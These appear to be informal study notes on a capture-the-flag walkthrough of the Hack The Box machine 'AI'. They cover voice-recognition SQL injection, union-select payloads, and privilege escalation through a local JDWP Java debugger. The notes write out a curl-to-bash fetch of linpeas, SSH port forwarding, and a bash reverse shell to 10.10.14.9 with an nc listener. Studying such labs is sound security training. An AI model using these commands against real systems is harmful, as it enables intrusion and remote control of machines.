Lin: AI

SQL injection with voice recognition
Attach java debugger for a java service running Jdwp
set break point in one of the threads
runs a runtime exec command

~ IPPSEC

Gobuster command
gobuster dir -u http://10.10.10.163 -w <dirbuster medium> -x php -o gobusterout

when trying to upload a reverse shell use something simple like
<?php echo 'ahmed' ?>

this package provides giving string and puting it as sound in wav file
apt-get install festival
echo "open single quote" | text2wave -o test.wav

this makes you search for repos names
apt install apt-file
apt-file update
apt-file search text2wav

SQL injection

'union select version() -- - --> returning one row
'union (select username)-- -
'union select password from userss -- -

after getting shell
check /var/www/

bash script --> will keep running so u can view changes that happens
for i in $(seq 0 10000); do ls -la .; done

Upload script
linpeas.sh --> search for it
open python server
curl 10.10.14.9/linpeas.sh | bash

in Calamity machine u belong to lxcfs ?? group and u get escalation from there

after running the script
he found a root process running
Jdwp ? running on local host and that why nmap didnot get it

to see open ports (locally)
ss -lnpt

ssh on local ports
ssh -L 8009:127.0.0.1:8009 -L 8008:127.0.0.1:8008 alexa@10.10.10.163

to search for some key word

find / 2>dev/null | grep <keyword>

starts to get complex here
attaching a java debugger
uses jdb --> java debuger
jdb> classpath
>classes
methods java.lang.Runtime

searches for runtime library because it is the easiest to run code with
>threads
he usually runs
stop in java.lang.Strings.indexOf(int)

better way to do it is
jdwp-shellifier --> git clone it

creating a shell with bash file
nano shell.sh
#!/bin/bash

bash -c 'bash -i >& /dev/tcp/10.10.14.9/12345 0>&1'
nc -nlvp 12345